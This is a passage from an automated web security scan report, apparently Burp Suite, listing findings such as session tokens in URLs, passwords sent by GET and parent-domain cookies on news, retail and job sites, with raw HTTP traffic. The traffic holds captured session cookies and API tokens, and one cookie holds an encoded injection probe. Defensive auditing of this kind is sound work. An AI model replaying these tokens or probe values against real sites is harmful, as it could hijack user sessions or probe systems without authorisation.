Cookie: mobify=0; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B%20s_ppv%3D17%3B; s_pers=%20s_pv%3DHome%2520Page%7C1316480470450%3B; idglg_ref_domain=fakereferrerdominator.com; __utma=242558352.1869823627.1316478674.1316478674.1316478674.1; __utmb=242558352.1.10.1316478674; __utmc=242558352; __utmz=242558352.1316478674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; NSC_djp.dpn=44593c703660

Response

4.3. http://www.cio.com/article/689930/15_Add_Ons_to_Become_a_Gmail_Power_User previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.cio.com
Path:	/article/689930/15_Add_Ons_to_Become_a_Gmail_Power_User

Issue detail

The response contains the following links that appear to contain session tokens:

http://api.demandbase.com/api/v1/ip.json?token=bacca8eba8bded95b5dd46f7a3d8ebc282966537&callback=dbase_parse

Request

GET /article/689930/15_Add_Ons_to_Become_a_Gmail_Power_User HTTP/1.1
Host: www.cio.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cio.com/
Cookie: mobify=0; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B%20s_ppv%3D17%3B; s_pers=%20s_pv%3DHome%2520Page%7C1316480470450%3B; idglg_ref_domain=fakereferrerdominator.com; __utma=242558352.1869823627.1316478674.1316478674.1316478674.1; __utmb=242558352.1.10.1316478674; __utmc=242558352; __utmz=242558352.1316478674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

4.4. http://www.computerworld.com/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.computerworld.com
Path:	/

Issue detail

The response contains the following links that appear to contain session tokens:

http://api.demandbase.com/api/v1/ip.json?token=4aa25eb10e6f9884a91e9805c3fcb58ec1cd8407&callback=dbase_parse

Request

GET / HTTP/1.1
Host: www.computerworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: __utma=22922409.780318155.1312579724.1312579724.1312579724.1; __utmz=22922409.1312579724.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __switchTo5x=35; __unam=8eb1eeb-1319bd924f9-3aa6664e-1

Response

4.5. https://www.createspace.com/Img/T341/T15/T25/ThumbnailImage.jpg previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.createspace.com
Path:	/Img/T341/T15/T25/ThumbnailImage.jpg

Issue detail

The URL in the request appears to contain a session token within the query string:

https://www.createspace.com/Img/T341/T15/T25/ThumbnailImage.jpg;jsessionid=2DBBE83929803EADC095C07D2EAB79C7.cspworker01

Request

GET /Img/T341/T15/T25/ThumbnailImage.jpg;jsessionid=2DBBE83929803EADC095C07D2EAB79C7.cspworker01 HTTP/1.1
Host: www.createspace.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: https://www.createspace.com/3411525
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=2DBBE83929803EADC095C07D2EAB79C7.cspworker01

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:01:02 GMT
Server: Apache
Accept-Ranges: bytes
ETag: W/"17874-1258783741000"
Last-Modified: Sat, 21 Nov 2009 06:09:01 GMT
Content-Length: 17874
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: image/jpeg

......JFIF.............C....................................................................C............................................................................"..............................
...[SNIP]...

4.6. https://www.createspace.com/Workflow/cart.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.createspace.com
Path:	/Workflow/cart.do

Issue detail

The URL in the request appears to contain a session token within the query string:

https://www.createspace.com/Workflow/cart.do;jsessionid=2DBBE83929803EADC095C07D2EAB79C7.cspworker01?action=jump&jump.step=cart&addCnt=3411525

Request

GET /Workflow/cart.do;jsessionid=2DBBE83929803EADC095C07D2EAB79C7.cspworker01?action=jump&jump.step=cart&addCnt=3411525 HTTP/1.1
Host: www.createspace.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.createspace.com/3411525
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=2DBBE83929803EADC095C07D2EAB79C7.cspworker01

Response

HTTP/1.1 302 Moved Temporarily
Date: Mon, 19 Sep 2011 15:01:16 GMT
Server: Apache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Location: https://www.createspace.com/Workflow/cart.do?action=jump&jump.step=cart
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1

4.7. http://www.csoonline.com/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.csoonline.com
Path:	/

Issue detail

The response contains the following links that appear to contain session tokens:

http://api.demandbase.com/api/v1/ip.json?token=efb6d514cdcaa8a88ed8190a5011fe9532325aa8&callback=dbase_parse

Request

GET / HTTP/1.1
Host: www.csoonline.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Response

4.8. http://www.csoonline.com/article/689774/facebook-pwn-tool-steals-profile-info-helps-social-engineers previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.csoonline.com
Path:	/article/689774/facebook-pwn-tool-steals-profile-info-helps-social-engineers

Issue detail

The response contains the following links that appear to contain session tokens:

http://api.demandbase.com/api/v1/ip.json?token=efb6d514cdcaa8a88ed8190a5011fe9532325aa8&callback=dbase_parse

Request

GET /article/689774/facebook-pwn-tool-steals-profile-info-helps-social-engineers HTTP/1.1
Host: www.csoonline.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.csoonline.com/
Cookie: mobify=0; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B%20s_ppv%3D40%3B; s_pers=%20s_pv%3DHome%2520Page%7C1316480480108%3B; __utma=209317120.1940298883.1316478683.1316478683.1316478683.1; __utmb=209317120.1.10.1316478683; __utmc=209317120; __utmz=209317120.1316478683.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; idglg_ref_domain=fakereferrerdominator.com

Response

4.9. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The URL in the request appears to contain a session token within the query string:

http://www.facebook.com/extern/login_status.php?api_key=your%20app%20id&app_id=your%20app%20id&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df20da59967c2a4e%26origin%3Dhttp%253A%252F%252Fwww.filecluster.com%252Ff636e64566a7b6%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df260aac3334299a%26origin%3Dhttp%253A%252F%252Fwww.filecluster.com%252Ff636e64566a7b6%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df157acbbdad7112%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df34fe96d3ac873a%26origin%3Dhttp%253A%252F%252Fwww.filecluster.com%252Ff636e64566a7b6%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df157acbbdad7112&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df226ae598668902%26origin%3Dhttp%253A%252F%252Fwww.filecluster.com%252Ff636e64566a7b6%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df157acbbdad7112&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1c3b17e1f789%26origin%3Dhttp%253A%252F%252Fwww.filecluster.com%252Ff636e64566a7b6%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df157acbbdad7112&sdk=joey&session_origin=1&session_version=3

Request

GET /extern/login_status.php?api_key=your%20app%20id&app_id=your%20app%20id&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df20da59967c2a4e%26origin%3Dhttp%253A%252F%252Fwww.filecluster.com%252Ff636e64566a7b6%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df260aac3334299a%26origin%3Dhttp%253A%252F%252Fwww.filecluster.com%252Ff636e64566a7b6%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df157acbbdad7112%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df34fe96d3ac873a%26origin%3Dhttp%253A%252F%252Fwww.filecluster.com%252Ff636e64566a7b6%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df157acbbdad7112&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df226ae598668902%26origin%3Dhttp%253A%252F%252Fwww.filecluster.com%252Ff636e64566a7b6%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df157acbbdad7112&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1c3b17e1f789%26origin%3Dhttp%253A%252F%252Fwww.filecluster.com%252Ff636e64566a7b6%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df157acbbdad7112&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.filecluster.com/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.62.173.58
X-Cnection: close
Date: Mon, 19 Sep 2011 19:16:06 GMT
Content-Length: 22

Invalid Application ID

4.10. http://www.infoworld.com/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.infoworld.com
Path:	/

Issue detail

The response contains the following links that appear to contain session tokens:

http://api.demandbase.com/api/v1/ip.json?token=cee711554501392246965521cfb9ab9aa83ae949&callback=OPG.Demandbase.dbase_parse

Request

GET / HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Response

4.11. http://www.itworld.com/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.itworld.com
Path:	/

Issue detail

The response contains the following links that appear to contain session tokens:

http://api.demandbase.com/api/v1/ip.json?token=2bfb26e0f878776f913fb41e5aa2daecc7ba0637&callback=OPG.Demandbase.dbase_parse
http://api.demandbase.com/api/v1/ip.json?token=bacca8eba8bded95b5dd46f7a3d8ebc282966537&callback=dbase_parse

Request

GET / HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

4.12. http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.itworld.com
Path:	/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Issue detail

The response contains the following links that appear to contain session tokens:

http://api.demandbase.com/api/v1/ip.json?token=2bfb26e0f878776f913fb41e5aa2daecc7ba0637&callback=OPG.Demandbase.dbase_parse
http://api.demandbase.com/api/v1/ip.json?token=bacca8eba8bded95b5dd46f7a3d8ebc282966537&callback=dbase_parse

Request

Response

5. Password field submitted using GET method previous next
There are 2 instances of this issue:

http://www.cnet.com/8799-4_1-0.html
http://www.pcworld.com/pcworldconnect/comment_registration

Issue background

The application uses the GET method to submit passwords, which are transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing passwords into the URL increases the risk that they will be captured by an attacker.

Issue remediation

All forms submitting passwords should use the POST method. To achieve this, you should specify the method attribute of the FORM tag as method="POST". It may also be necessary to modify the corresponding server-side form handler to ensure that submitted passwords are properly retrieved from the message body, rather than the URL.

5.1. http://www.cnet.com/8799-4_1-0.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/8799-4_1-0.html

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:

http://www.cnet.com/8750-4_1-0.xml

The form contains the following password field:

password

Request

Response

5.2. http://www.pcworld.com/pcworldconnect/comment_registration previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.pcworld.com
Path:	/pcworldconnect/comment_registration

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:

http://www.pcworld.com/pcworldconnect/comment_registration

The form contains the following password fields:

password
confirm

Request

Response

6. Cookie scoped to parent domain previous next
There are 20 instances of this issue:

http://www.games.net/community/door_check.cfm
http://www.simplyhired.com/
http://www.simplyhired.com/a/accounts/login
http://www.simplyhired.com/a/jobs/list/q-xss
http://www.simplyhired.com/a/our-company/about-us
http://www.simplyhired.com/a/our-company/contact-us
http://www.cnet.com/
http://www.cnet.com/internet-security/
http://www.facebook.com/creditsuisse
http://www.google.com/ig/add
http://www.google.com/ig/adde
http://www.google.com/ig/cp/get
http://www.leadforce1.com/bf/bf.php
http://www.lijit.com/beacon
http://www.microsoft.com/click/services/Redirect2.ashx
http://www.simplyhired.com/a/catalog/keywords
http://www.simplyhired.com/a/facebook/metrics
http://www.simplyhired.com/a/facebook/status
http://www.youtube.com/get_video_info
http://www9.effectivemeasure.net/v4/em_js

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

6.1. http://www.games.net/community/door_check.cfm previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.games.net
Path:	/community/door_check.cfm

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

CFID=264521224;domain=.games.net;expires=Wed, 11-Sep-2041 19:30:20 GMT;path=/
CFTOKEN=35491050;domain=.games.net;expires=Wed, 11-Sep-2041 19:30:20 GMT;path=/

The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

6.2. http://www.simplyhired.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.simplyhired.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

sess=ct%3D4e77a776%3Bv%3D2; path=/; domain=.simplyhired.com
shut=deleted; expires=Sun, 19-Sep-2010 20:35:02 GMT; path=/; domain=.simplyhired.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.simplyhired.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 20:35:03 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
Set-Cookie: sess=ct%3D4e77a776%3Bv%3D2; path=/; domain=.simplyhired.com
Set-Cookie: shut=deleted; expires=Sun, 19-Sep-2010 20:35:02 GMT; path=/; domain=.simplyhired.com
Set-Cookie: shmk=deleted; expires=Sun, 19-Sep-2010 20:35:02 GMT; path=/
Cache-Control: no-cache, must-revalidate
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 11784

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Job Sear
...[SNIP]...

6.3. http://www.simplyhired.com/a/accounts/login previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.simplyhired.com
Path:	/a/accounts/login

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

sess=ct%3D4e77a776%3Bv%3D4; path=/; domain=.simplyhired.com
shua=deleted; expires=Sun, 19-Sep-2010 20:35:35 GMT; path=/; domain=.simplyhired.com
shut=deleted; expires=Sun, 19-Sep-2010 20:35:35 GMT; path=/; domain=.simplyhired.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

6.4. http://www.simplyhired.com/a/jobs/list/q-xss previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.simplyhired.com
Path:	/a/jobs/list/q-xss

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

sess=ct%3D4e77a776%3Bv%3D3; path=/; domain=.simplyhired.com
shua=uafbp%3D8%2Cuaversion%3D%2Cuajobssearched%3D1316464507%2Cuanps%3D9%3A2%3A0%3A0; expires=Wed, 18-Sep-2013 20:35:07 GMT; path=/; domain=.simplyhired.com
shut=deleted; expires=Sun, 19-Sep-2010 20:35:06 GMT; path=/; domain=.simplyhired.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /a/jobs/list/q-xss HTTP/1.1
Host: www.simplyhired.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.simplyhired.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: gc=1; sess=ct%3D4e77a776%3Bv%3D1; sh3=id%3D4073090414e77a776cd8059.42829974%3Brv%3D5d432ed0%3Bcv%3D2; sh2=cso%3D4e77a776%3Bslu%3D0%3Bref%3Dsh; shabts=none; shup=fvt%3D4e77a776; __qca=P0-672047654-1316482567293; __utma=270297075.791552784.1316482567.1316482567.1316482567.1; __utmb=270297075.1.10.1316482567; __utmc=270297075; __utmz=270297075.1316482567.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); shua=uafbp%3D8

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 20:35:07 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
Set-Cookie: sess=ct%3D4e77a776%3Bv%3D3; path=/; domain=.simplyhired.com
Set-Cookie: rs=v2:q%3Dxss; expires=Wed, 19 Sep 2012 13:35:07 -0700; path=/
Set-Cookie: shua=uafbp%3D8%2Cuaversion%3D%2Cuajobssearched%3D1316464507%2Cuanps%3D9%3A2%3A0%3A0; expires=Wed, 18-Sep-2013 20:35:07 GMT; path=/; domain=.simplyhired.com
Set-Cookie: shut=deleted; expires=Sun, 19-Sep-2010 20:35:06 GMT; path=/; domain=.simplyhired.com
Set-Cookie: shmk=deleted; expires=Sun, 19-Sep-2010 20:35:06 GMT; path=/
Set-Cookie: shup=fvt%3D4e77a776%26ncs%3D2%26lst%3D4e77a77b; expires=Wed, 19-Oct-2011 20:35:07 GMT; path=/
Cache-Control: no-cache, must-revalidate
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 66342

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Xss Jobs
...[SNIP]...

6.5. http://www.simplyhired.com/a/our-company/about-us previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.simplyhired.com
Path:	/a/our-company/about-us

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

sess=ct%3D4e77a776%3Bv%3D5; path=/; domain=.simplyhired.com
shut=deleted; expires=Sun, 19-Sep-2010 20:35:43 GMT; path=/; domain=.simplyhired.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /a/our-company/about-us HTTP/1.1
Host: www.simplyhired.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.simplyhired.com/a/accounts/login?f=%2Fa%2Fjobs%2Flist%2Fq-xss
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: gc=1; sh3=id%3D4073090414e77a776cd8059.42829974%3Brv%3D5d432ed0%3Bcv%3D2; sh2=cso%3D4e77a776%3Bslu%3D0%3Bref%3Dsh; shabts=none; __qca=P0-672047654-1316482567293; rs=v2:q%3Dxss; shua=uafbp%3D8%2Cuaversion%3D%2Cuajobssearched%3D1316464506%2Cuanps%3D9%3A1%3A0%3A0; shup=fvt%3D4e77a776%26ncs%3D1%26lst%3D4e77a77a; ki_u=c67c90d5-c311-e524-6ee5-2e6f5c4c3924; ki_t=1316482574458%3B1316482574458%3B1316482574458%3B1%3B1; sess=ct%3D4e77a776%3Bv%3D3; __utma=270297075.791552784.1316482567.1316482567.1316482567.1; __utmb=270297075.4.10.1316482567; __utmc=270297075; __utmz=270297075.1316482567.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 20:35:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
Set-Cookie: sess=ct%3D4e77a776%3Bv%3D5; path=/; domain=.simplyhired.com
Set-Cookie: shut=deleted; expires=Sun, 19-Sep-2010 20:35:43 GMT; path=/; domain=.simplyhired.com
Set-Cookie: shmk=deleted; expires=Sun, 19-Sep-2010 20:35:43 GMT; path=/
Cache-Control: no-cache, must-revalidate
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 13231

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>About Si
...[SNIP]...

6.6. http://www.simplyhired.com/a/our-company/contact-us previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.simplyhired.com
Path:	/a/our-company/contact-us

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

sess=ct%3D4e77a776%3Bv%3D6; path=/; domain=.simplyhired.com
shut=deleted; expires=Sun, 19-Sep-2010 20:35:50 GMT; path=/; domain=.simplyhired.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /a/our-company/contact-us HTTP/1.1
Host: www.simplyhired.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.simplyhired.com/a/our-company/about-us
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: gc=1; sh3=id%3D4073090414e77a776cd8059.42829974%3Brv%3D5d432ed0%3Bcv%3D2; sh2=cso%3D4e77a776%3Bslu%3D0%3Bref%3Dsh; shabts=none; __qca=P0-672047654-1316482567293; rs=v2:q%3Dxss; shua=uafbp%3D8%2Cuaversion%3D%2Cuajobssearched%3D1316464506%2Cuanps%3D9%3A1%3A0%3A0; shup=fvt%3D4e77a776%26ncs%3D1%26lst%3D4e77a77a; ki_u=c67c90d5-c311-e524-6ee5-2e6f5c4c3924; ki_t=1316482574458%3B1316482574458%3B1316482574458%3B1%3B1; sess=ct%3D4e77a776%3Bv%3D4; __utma=270297075.791552784.1316482567.1316482567.1316482567.1; __utmb=270297075.5.10.1316482567; __utmc=270297075; __utmz=270297075.1316482567.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

6.7. http://www.cnet.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

arrowSSRefUrl=http%3A%2F%2Fwww.google.com%2Fsearch%3Fhl%3Den%26q%3D%2500c82b8%22%2520a%253db%25205eff54a8341; domain=.cnet.com; path=/; expires=Mon, 19-Sep-2011 19:58:09 GMT
arrowLrps=1312564961707:1312559263357; domain=.cnet.com; path=/; expires=Tue, 18-Sep-2012 19:28:09 GMT
arrowLat=1316460489741; domain=.cnet.com; path=/; expires=Tue, 18-Sep-2012 19:28:09 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

